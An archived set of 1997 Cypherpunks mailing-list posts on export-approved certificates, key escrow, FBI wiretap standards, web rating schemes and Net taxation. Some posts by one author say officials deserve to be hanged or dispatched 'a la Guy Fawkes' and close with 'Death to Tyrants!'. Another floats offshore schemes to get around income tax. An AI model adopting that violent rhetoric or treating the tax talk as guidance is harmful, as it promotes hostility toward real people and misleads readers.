> It is true that Communicator does not presently pull CRL's. However,
> an X.509 based application probably should pull the CRL, or at least
> verify that a cert about to be relied upon has not in fact been
> revoked by looking for a match in the CRL. It stands to reason that
> Communicator will at one point add this, IMHO proper, feature.
> 
> I also would like to mention the reader that yesterday's release of
> MSIE 4.0b2 *does* have the ability to check CRL's.

Yes, we will add this feature in some future release.  It will be
configurable, so if the user doesn't want to check CRLs he doesn't
have to.

> Even if Communicator would never check CRL's, not even in the future,
> the mere fact that the Global ID cert have only a one year lifetime
> means anyone relying on Global ID can be held hostage by threatening
> to refuse to renew their cert. The reader may not be aware that unlike
> other certs, the Global ID certs are *only* issued by VeriSign. You
> can not go to a non-US CA and obtain such a cert. [Which of course
> would defy the whole purpose of this rather slick deal :-]

Aren't all certs VeriSign issues only valid for one year?  This isn't
any different.

There's nothing preventing another CA from getting permission from the
USG to issue these magic certs.  We would have to distribute a patch,
but I don't see any problem with that.

> Unless VeriSign includes in the price of the Global ID cert a bond
> that will compensate the buyer of a Global ID based commerce system
> for any and all future losses caused by VeriSign either revoking or
> refusing to renew a cert (fat chance), anyone basing their strategy on
> having such a cert is at risk of losing their business.

I fail to see the problem.  Right now, if you want to communicate
securely with exportable web browsers, this is the only way to do it. 
Either you do it, or you don't.  If VeriSign doesn't renew your cert,
then you're right back where you were the previous year.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 09:32:14 +0800
To: cypherpunks@toad.com
Subject: Re: <sigh>
In-Reply-To: <199707180051.CAA13954@basement.replay.com>
Message-ID: <199707180115.UAA07194@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707180051.CAA13954@basement.replay.com>, on 07/18/97 
   at 02:51 AM, nobody@REPLAY.COM (Anonymous) said:

>  Happy to oblige.
>------------------

Glad to see that someone on the list still has their sense of humor. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Fri, 18 Jul 1997 11:52:59 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <199707180321.XAA23958@homeport.org>
Message-ID: <33CEE568.F2C2D5CC@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Shostack wrote:
> 
>         Nope, you've now got thousands of upset customers who were
> using secure communications, and are now using cheesy exportable
> ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
> Stronghold. :)

It wouldn't help.  The problem is that your customers (using the export
client) who used to be able to connect using strong crypto now have to
use weak crypto.  It doesn't affect people using non-exportable clients.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 10:00:23 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970717182623.19394a-100000@well.com>
Message-ID: <199707180148.UAA07682@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970717182623.19394a-100000@well.com>, on 07/17/97 
   at 06:27 PM, Declan McCullagh <declan@well.com> said:

>Read the complete text of my article. The RSACnews system would include
>just that: a system that allows a board of media conglomerates to decide
>what's a "news site" or not. 

>In other words, what's "credible."

Well I don't know about anyone else but the more information that comes
out on this the worse & worse it looks.

Between this & the Netscape/Microsoft/Verisign Sellout I would say that
things are looking much worse that if the CDA had been left intact.

I think that several of us need to get together with the authors of Lynx
and produce a GNU secure webbrowser and take on these SOB's.

I don't think that it would be all that much work to mimick NetScapes
plugin interface so the same plugins will work with the GNU browser.

The "Net" will not be safe as long as N$ is allowed to do whatever they
please.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Hacking In Progress" <info@hip97.nl>
Date: Fri, 18 Jul 1997 03:20:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: payment & tents
In-Reply-To: <19970708232101.17152.qmail@squirrel.owl.de>
Message-ID: <199707171908.VAA27907@smtp2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



On  8 Jul 97 at 23:21, Secret Squirrel wrote:

> Can you please tell me where tents (for 10+ people)
> can be bought/hired in the region of Amsterdam ?
> Some of us are eagerly trying to organise this aspect
> of the trip, and would welcome pointers.

Try for rent:

In Purmerend, Netherlands call 02994-20999

They rent army tents. But you'll have to arrange everything with 
them we can't do that. Expect around 350 guilders rent and about 1000 
for deposit.

Maurice


> Also, I cannot read the [INLINE] phone numbers to call
> with my credit card number - can you please publish
> both answers on your mailing list ?

Call in the Netherlands to 31 20 6263438

cu,

Maurice Wessling

--
Hacking in Progress
8-9-10 August
Tents, TCP/IP, Jolt and politics
http://www.hip97.nl/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 18 Jul 1997 12:21:52 +0800
To: cypherpunks@Algebra.COM
Subject: fbi wiretapping law runs into friction
Message-ID: <199707180416.VAA13557@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

From: jackdoolin@earthlink.net
Date: Thu, 17 Jul 1997 14:56:59 -0400
Subject: SNET: Phone firms resist FBI wiretap gear


- ->  SearchNet's   SNETNEWS   Mailing List

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

              Published Wednesday, July 16, 1997, in the San Jose Mercury 
News  

  Phone firms resist FBI wiretap gear    New York Times  

  Asserting that the FBI is trying to force the development of wiretapping 
equipment that goes beyond the law, telephone industry executives said 
Tuesday they would petition the Federal Communications Commission to resolve 
a dispute over the limits of digital surveillance in the information age.

 Industry executives are expected to ask the commission to step in today 
after more than two years of negotiations with law enforcement authorities 
over standards for advanced digital telephone switching gear intended to 
permit the police and FBI agents to listen to suspected criminals.

 The two sides failed to reach an agreement at a meeting last week in Boston.

 ``We've come to an impasse and only the FCC can resolve it,'' said Stewart 
Baker, a Washington lawyer representing the industry.

 FBI officials said Tuesday they were still confident that disagreements with 
the industry could be worked out. Another negotiating session is scheduled 
for next week.

 ``We're still committed to the negotiating process,'' said Edward Allen, 
section chief in the Information Division at the FBI. The Communications for 
Law Enforcement Act, which was signed into law by President Clinton in 1994, 
calls for spending $500 million to modify the nation's telephone network for 
wiretapping and specifies a standard-setting process to redesign the 
equipment.

 Telephone industry officials have warned that the cost of making the 
modifications requested by law enforcement might run into the billions of 
dollars. They also contend that the FBI has overstepped its mandate and is 
trying to control the process of setting standards. The law, they say, 
specifies only that the agency will be consulted in setting the standard.

 Industry executives say their companies will be at risk of being sued by 
civil liberties groups over privacy invasions.

 Law enforcement is asking for the ability to maintain a wiretap in a 
conference call even after the individual who is the object of the court-
authorized wiretap drops out of the phone call. Such a capability would 
require costly modifications to the telephone network, industry officials 
said.

 ``We're taking this action out of monumental frustration,'' said Thomas 
Wheeler, president of the Cellular Telecommunications Industry Association, a 
trade group in Washington.

 The telephone industry is facing an October 1998 deadline to comply with the 
law. Wheeler said the members of his association were growing increasingly 
concerned that in the absence of a standard they would have insufficient time 
to develop new products that comply with the law. The legislation provides 
for $10,000 a day in penalties for companies that fail to meet the 
requirements. 

        
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Version: PGP for Personal Privacy 5.0
Charset: noconv

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- -----END PGP SIGNATURE-----


- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: jackdoolin@earthlink.net


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 18 Jul 1997 10:57:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970717212956.24107G-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.


Uh, Tim, corporate and personal income taxes are still rather 
well collectible, and that my be the reason the federal gov't
doesn't worry too much about taxing the Net. State, and even
more so local, gov'ts do not have the same collectibility
advantage.  And the locals are often revenue-starved and 
constantly in search of new tax base, constantly.  Thus,
what's easy for the feds to say ("no new taxes" read my
lips?:)) is just a costless slam at the locals.  No real
impact on federal revenue, no sacrifice, no altruism, 
except at the expense of other potential, and hungry 
taxing authorities.  Magaziner didn't earn any points with
me by proclaiming a policy that doesn't cost his end of
the gov't much of anything.  

It's as if George III told the colonies not to tax tea.
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 18 Jul 1997 09:49:39 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff4655f3759@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970717214252.17702B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



We need the administration to do one thing: lift export controls.

Then it and Congress should forget all about the Net.

-Declan


On Thu, 17 Jul 1997, Tim May wrote:

> At 4:25 PM -0700 7/17/97, Declan McCullagh wrote:
> >---------
> >
> >July 2,1997
> >
> >Time to Walk the Walk on Telecom Policy
> >
> >by Jeffrey A. Eisenach
> >The Progress & Freedom Foundation
> >
> >Thanks to Ira Magaziner -- of all people -- the
> >Clinton Administration has finally learned to talk the
> >free market talk that brings joy to denizens of the
> >Internet. Now, as always with this Administration, the
> >question is whether it will also walk the walk.
> 
> To use their own Yuppie expression, "will it 'walk the walk' down the gang
> plank"?
> 
> The only thing the Administration can do is to do _nothing_. Gibberish
> about the freedom of the Net while other departments speak of key escrow
> and content control is a meaningless gesture.
> 
> 
> >easy-to-use technical solutions." And last month,
> >Treasury Undersecretary Larry Summers, reportedly at
> >Magaziner's urging, had very positive things to say
> >about the "no new taxes on the Internet" legislation
> >sponsored by Congressman Chris Cox and Senator Ron
> >Wyden.
> 
> Taxes are already essentially uncollectable, even in interstate
> transactions, so the moves by Summers and Magaziner are truly token
> gestures.
> 
> Their continuing support for GAK and content control are what has earned
> them only our vicious enmity.
> 
> 
> >Telecommunications is not the only problem area with
> >respect to policy. Most notable among the others:
> >Encryption, where the Administration stubbornly
> >adheres to its unworkable, privacy-invading notion of
> >"key escrow" for encryption software -- i.e., giving
> >the police the key to your house in advance in case
> >they decide later they want to conduct a search.
> 
> Oh, yeah, this minor issue of their demanding access to diaries, phone
> calls, e-mail, and other computer-mediated communications without so much
> as a search warrant.
> 
> They all deserve to be hung for treason, or dispatched the old-fashoned way
> (a la Guy Fawkes).
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 12:54:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff48a1390fc@[207.167.93.63]>
Message-ID: <v03102802aff4a4a9d00a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 PM -0700 7/17/97, William H. Geiger III wrote:

>Actually with some "creative" accounting one can make use of the net to
>cirumvent large amount of corporate & personal income tax. :)
>
>It is quite possible to set up virtual corporations who's complete
>bussines is done over the wire. While some setions of industry can benifit
>from this more than others I see in the future a large section of the
>revenue stream migrating offshore to various taxhavens beyoned the reach
>of the little piggies in DC. :)

Well, obviously I'm well acquainted with this particular theory....

However, pulling it off is the hard part. A few data points:

- my income derives solely at this point from investments. No better
example of a "geodesic economy" exists...my assets and sources of income
can be located anywhere on Earth, and can be sent there with a few phone
calls. And, yet, I continue to pay the IRS, the Franchise Tax Board, and
various regional satrapies truly obscene amounts of taxes.

(Why? Because sending my assets to Foobaria and then attempting to live
tax-free off the income/dividends/sales is not currently feasible. Note to
the advocates of this strategy: not even the advocates of using offshore
banks think this is workable as a tax avoidance scheme.)

- I rather suspect that all of the employees of C2Net, surely a
"Cypherpunks company" if ever there were one, mundanely receive their W-2s
and file diligently. (Actually, the odds are that some of them are already
delinquent on filing, but the point remains valid.)

- John Walker, the founder of Autodesk (Autocad), became a citizen of
Belize and now lives in Switzerland. As above, a "virtual entity." And yet
he tells me his taxes are higher than if he'd remained in the U.S. (he left
for complicated reasons, involving taxes, but not necessarily to reduce his
personal taxes).

So, I admire the theory. In fact, I wrote many essays on related points.
(Cf. "crypto anarchy") But it's not at all easy to pull it off.

Maybe in 10 years.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Fri, 18 Jul 1997 04:14:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: EuroEnglish
Message-ID: <199707172005.WAA14170@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Viz speling lik zis, ho neds kriptografy?

> --------------------------------------------------------------------
> ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS
> 
> An agreement has been reached to adopt English as the preferred
> language for European communications, rather than German, which was the
> other possibility.  As part of the negotiations, Her Majesty's Government
> conceded that English spelling has some room for improvement and has 
> accepted a five-year phased plan for what will be known as EuroEnglish
> (Euro for short).
> 
> In the first year, "s" will be used instead of "c".  Sertainly sivil
> servants will resieve this news with joy.  Also, the hard "c" will be
> replaced with "k".  Not only will this klear up konfusion, but komputers 
> and typewriters kan have one less letter.
> 
> There will be growing publik enthusiasm in the sekond year, when the
> troublesome "ph" will be replaced by "f".  This will make words like
> "fotograf" 20 per sent shorter.
> 
> In the third year, publik akseptanse of the new spelling kan be 
> expekted to reach the stage where more komplikated changes are
> possible.  Governments will enkorage the removal of double letters, 
> which have always ben a deterent to akurate speling.  Also, al wil agre 
> that the horible mes of silent "e"s in the languag is disgracful, and 
> they would go.
> 
> By the fourth year, peopl wil be reseptiv to steps such as replasing 
> "th" with "z" and "w" with "v".
> 
> During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
> "ou", and similar changes vud of kors be aplid to ozer kombinations of 
> leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
> vil be no mor trubls or difikultis and evrivun vil find it ezi to 
> understand ech ozer.
> 
> ZE DREM VIL FINALI KUM TRU.
> 
> ---------------------------------------------------------------------
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 11:09:09 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Center for Security Policy calls for domestic key escrow (fwd)
In-Reply-To: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
Message-ID: <v0311078baff4847d327f@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



Any organization with the word "center" in it's name gives me the creeps
lately.

There is no "center" in an information society.

Furthermore, "center" reminds me more and more of "Moscow Center", in
Djerzhinsky Square...

Wishing for better weather. I've had enough 'cold' climate to last lifetime.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 12:25:46 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: <199707180412.XAA09723@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>, on 07/17/97 
   at 08:00 PM, Lucky Green <shamrock@netcom.com> said:

>At 08:40 PM 7/17/97 -0400, William H. Geiger III wrote:
>>I think that several of us need to get together with the authors of Lynx
>>and produce a GNU secure webbrowser and take on these SOB's.

>Nothing wrong with releasing a GNU browser, but you will find it
>difficult to impossible to match the features of a modern browser such as
>Communicator and MSIE. Some may be happy with Lynx. Myself and most
>consumers will stick with Communicator and MSIE.


Well 90% of the "features" of these browsers are complete crap. I have yet
to see a web site that did anything constructive with frames and animated
gifs are compleetly worthless. There are some intresting plug-ins for
Netscape but as I said in my previous post I don't think mimicking the
interface should be that hard.

As far as the e-mail & news clients they are still far behind where the
industry is in these areas.

I was thinking more allong the lines of providing a strong, secure GNU
browser for doing transactions over the net and save the game playing for
NS & MS.


>[...]
>>The "Net" will not be safe as long as N$ is allowed to do whatever they
>>please.

>The Net would be considerably safer if Netscape and others would be
>allowed to do as they please. Unfortunately, export laws are a reality
>and Netscape and Microsoft do what they can to bring strong crypto to as
>many people as possible without ending up in jail. My posts on this topic
>should not be taken as bashing these software vendors for attempting to
>make their products available to a larger number of customers. I
>certainly do not question the integrity of people such as Tom Weinstein
>who have worked hard to make the best of a shitty situation. A situation
>they did not create. [That questionable honor goes to the USG].

No not really. All one has to do is look at Netscapes & Microsofts track
record. Security has never been a primary concern of theirs. While this is
expected from Microsoft (I don't think they could find a security protocol
if it bit them on the ass) one would hope the Netscape would be a little
better at it. 

As far as making their product to a large number of customers one has to
question what type of product they are getting. It seem obvious the both
Netscape & Microsoft have chosen to go down the "GAK/Policy
Token/Manditory Rating" path and have done so long before the WhiteHouse
meeting this week.

>I merely question the wisdom to rely on a solution that can be disabled
>at any time, for any reason, or no reason at all, by a party outside your
>company simply by revoking a single cert. One should not make one's fate
>subject to the future whim of a third party.

While I do not question the integrety of Tom as I don't know him that well
to form a judgment I do question the integrety of the owners & management
of the company he works for.

As their products stand right now I would not trust the "domestic"
versions for anything more than insignificant purchases of beads and
trinkets over the net let alone the hacked "export" versions. As far as
using their product for finacial transactions well you know the old saying
... "A fool and his money were lucky to have ever met in the first place".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 14:02:42 +0800
To: cypherpunks@Algebra.COM
Subject: Government and Whom we Trust
Message-ID: <v03102804aff4b2ce22be@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




There are some striking similarities between the "certificate authority"
(CA) and PICS/RSACi/rating issues. Not really surprising, as they both
involve "certificates" of slightly different types.

The larger issue in both cases is that the government is interjecting
itself, or seeking to, in matters of trust and believability. It's as if
the government felt movie and restaurant reviewers needed to be licensed,
regulated, inspected, detected, refected, and maldicted.

The CA issue, which shows up in the UK "trusted third parties" proposal and
in various other European and American proposals, essentially rules out
independent, "anarchic" signature signers. If the UK form becomes law, for
example, one could not even _sign_ another's key or whatever without
automatically becoming subject to the law.

(Whether something like this will become law in the U.K, not to mention the
U.S., is unclear. But of course this is the plan being discussed.)

The "Web rating" proposal is somewhat similar, in that those who provide
PICS/RSACi ratings would be bound by certain laws.

Sounds reasonable, being bound by certain laws, right? To some it does.

Here's why they're wrong: signatures on keys and statements of ratings are
just OPINIONS or EXPRESSIONS OF BELIEF.

"I believe this is the key of Phil Zimmermann."

"I believe the material I saw at this Web site when I looked is suitable
for children under the age of 9."

"I believe Szechwan Garden has fine food."

"I believe "Contact" is a good movie."

"I believe that giving all your money to the Church of Scientology will
help you go clear."

All are opinions, however expressed. There is no government role in any of
these issues. Whether people are "misled" by stated opinions is not a
matter for governments in free societies to intervene and limit speech.

(Sure, there are a few fringe issues, such as variants of falsely shouting
"Fire!" in a crowded theater and the Usual Suspects when it comes to free
speech. But the Net is no different from other outlets when it comes to
even these fringe issues.)

In the cases we are so preoccupied with recently, the government is seeking
a role in establishing a hierarchy of true statements, a system for
determining who is making legitimate statements and who is not. The
government is seeking to be the arbiter of truth, telling us whom we can
trust.

All unaccepable, of course. On some very basic grounds.

Talk of compromise is terribly wrong.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 18 Jul 1997 11:25:04 +0800
To: declan@well.com (Declan McCullagh)
Subject: Re: ESPN hacked -- got info? (fwd)
In-Reply-To: <Pine.GSO.3.95.970717183258.19394c-100000@well.com>
Message-ID: <199707180310.XAA23878@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	Strong crypto is useful not in building a web site, but in
providing an infrastructure that resists stupidity better.

	For example, when you telnet or ftp, your password goes in a
sniffable cleartext format.  When you send mail, it traverses the net
in the clear, and is stored in the clear.  If crypto was widely
deployed, the sensitive information people send in the clear would be
protected.

	Locking the barn after the horses are gone is not nearly as
useful as ubiquitous locks.

Adam


Declan McCullagh wrote:
| ---------- Forwarded message ----------
| 
| Declan --
| 
| Do you have any information about the ESPN/SportZone web site store being 
| hacked?  Or a contact?  The pro-crypto folks on the Hill are quite 
| interested to know if 1) this site was using encryption before being hacked 
| and 2) what type of encryption they are using now (one of the press stories 
| noted that crypto was one of the security measures implemented after the 
| hacking).
| 
| I realize this was probably an inside job, but it's good fodder for the 
| Hill.  Any insight you might have -- or other examples -- would be great.
| 
| Thanks in advance.
| 
| 


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 12:27:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102801aff48a1390fc@[207.167.93.63]>
Message-ID: <199707180421.XAA09823@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102801aff48a1390fc@[207.167.93.63]>, on 07/17/97 
   at 07:54 PM, Tim May <tcmay@got.net> said:

>At 7:36 PM -0700 7/17/97, Mac Norton wrote:
>>On Thu, 17 Jul 1997, Tim May wrote:
>>>
>>> Taxes are already essentially uncollectable, even in interstate
>>> transactions, so the moves by Summers and Magaziner are truly token
>>> gestures.
>>
>>
>>Uh, Tim, corporate and personal income taxes are still rather
>>well collectible, and that my be the reason the federal gov't
>>doesn't worry too much about taxing the Net. State, and even
>>more so local, gov'ts do not have the same collectibility
>>advantage.  And the locals are often revenue-starved and

>I meant that taxes are essentially uncollectable for interstate
>transactions like mail order purchases.

>I buy several thousand dollars worth of stuff each year by mail order,
>and only a few hundred bucks worth of it has been taxable.

>My state, California thinks I should either send them a check for 8.25%
>of all that I have purchased, or that the vendors in New Hampshire, Ohio,
>etc. should send them such a check....we all ignore this notion, and
>there is little to be done. It is this sort of "tax arbitrage" I was
>drawing a very real parallel to.

>Most "tax the Net" talk I hear about is about taxing Net commerce (as
>opposed to, say, placing a per minute tariff on Net connections). Hence,
>my point.

>I wasn't referring to either corporate or personal income taxes, which
>have little or nothing to do with the Net.

Actually with some "creative" accounting one can make use of the net to
cirumvent large amount of corporate & personal income tax. :)

It is quite possible to set up virtual corporations who's complete
bussines is done over the wire. While some setions of industry can benifit
from this more than others I see in the future a large section of the
revenue stream migrating offshore to various taxhavens beyoned the reach
of the little piggies in DC. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM87iAI9Co1n+aLhhAQFlwAQAkYzP3uqoGIER52sN4tTENFMR2tgO57Sa
DEGTJk90SXcrv4uKRxBLI9vmQcEykwz2u2nBbX+Upq4Hat5gNYNK+OYAt+/4yR2o
LDLcA9aChnxxVoM6oC2GEm18hm9M2jkShy5umaIwWkKQr1hd0RiZ7j0QxJsy0net
oZKzHdRUsm4=
=XErr
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 18 Jul 1997 11:36:29 +0800
To: tomw@netscape.com (Tom Weinstein)
Subject: Re: Verisign gets export approval
In-Reply-To: <33CEDD64.292388D@netscape.com>
Message-ID: <199707180321.XAA23958@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:

| > Unless VeriSign includes in the price of the Global ID cert a bond
| > that will compensate the buyer of a Global ID based commerce system
| > for any and all future losses caused by VeriSign either revoking or
| > refusing to renew a cert (fat chance), anyone basing their strategy on
| > having such a cert is at risk of losing their business.
| 
| I fail to see the problem.  Right now, if you want to communicate
| securely with exportable web browsers, this is the only way to do it. 
| Either you do it, or you don't.  If VeriSign doesn't renew your cert,
| then you're right back where you were the previous year.

	Nope, you've now got thousands of upset customers who were
using secure communications, and are now using cheesy exportable
ciphers.  (Hopefully, you wrote CGI so you can quickly switch to using
Stronghold. :)

Adam


-- 
He has erected a multitude of new offices, and sent hither swarms of
officers to harrass our people, and eat out their substance.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rschlafly@attmail.com (Roger  Schlafly)
Date: Fri, 18 Jul 1997 14:36:02 +0800
To: cypherpunks@Algebra.COM
Subject: court order required for keys?
Message-ID: <rschlafly1990630200>
MIME-Version: 1.0
Content-Type: text/plain



Posted online news accounts of the McCain-Kerrey bill have implied
that the a court order is required under the bill to get keys.  Eg,
from recent postings,

    [AP, 07/09/1997]
    As with wiretaps, authorities would have to obtain court orders to make
    the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
    ... Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
    up a key recovery system to give computer companies strong incentives to
    make keys available to investigators who obtain a court's permission.
                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    [Wired, 11.Jul.97]
    Law enforcement could then access that copy of your key
    through a court order.
    ^^^^^^^^^^^^^^^^^^^^^

I find this distressing, because I have read the bill, and a court order
is most emphatically NOT required.  Only a form specified by J. Reno.
This is a tricky point in the bill, but notice that:

(1) Court orders are not required for wiretaps in the US.  While it may
be true that court orders are used most of the time when wiretap evidence
is used in a criminal trial, there are a number of exceptions.

(2) There is no restriction in the bill to getting keys to decipher
communications covered by the wiretap laws.  It lets cops get keys
to many other communications.  Part of the point to using
encryption is to use public networks where access to the encrypted
data need not be hidden or withheld from the public.  Under S.909,
if the cops can get access to the data, then they can get the keys
without any court order.

(3) Even if there is a court-ordered wiretap, there is no obligation
to notify the judge that keys will also be seized.  While it may seem
obvious that if a judge is willing to order a wiretap, he is willing
to order key seizure, I don't think this is necessarily the case.
When a judge orders a wiretap, he is supposed to be balancing the
